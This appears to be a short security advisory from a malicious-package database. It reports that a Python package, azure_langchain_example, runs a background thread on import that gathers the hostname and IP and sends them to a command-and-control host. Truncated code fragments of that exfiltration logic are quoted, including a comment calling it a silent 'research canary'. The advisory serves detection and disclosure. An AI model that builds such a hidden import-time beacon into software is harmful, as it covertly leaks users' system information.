GCVE-110-OSM-2026-12854

Malicious package detected. Behaviors: data exfiltration. DESTINATION - 2 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - System Information Exfiltration in src/azure_langchain_example/__init__.py: "socket.gethostname() try: ip = socket.gethostbyname(host) except Exception: ip =..." - HTTP Data Exfiltration in src/azure_langchain_example/__init__.py: "urllib.request __version__ = "0.1.0" # --- 环境回传（研究用 canary：静默上报 IP + 主机名 + 时间戳，无..." - Python Background Thread Execution in src/azure_langchain_example/__init__.py: "def _report(): try: host = socket.gethostname() try: ip = socket.gethostbyname(h..." - Network Request in src/azure_langchain_example/__init__.py: "urllib.request.urlopen(" - System Information Collection in src/azure_langchain_example/__init__.py: "socket.gethostname()" - DNS Lookup in src/azure_langchain_example/__init__.py: "socket.gethostbyname(" ADDITIONAL FINDINGS - Brand New Package PAYLOAD FILES src/azure_langchain_example/__init__.py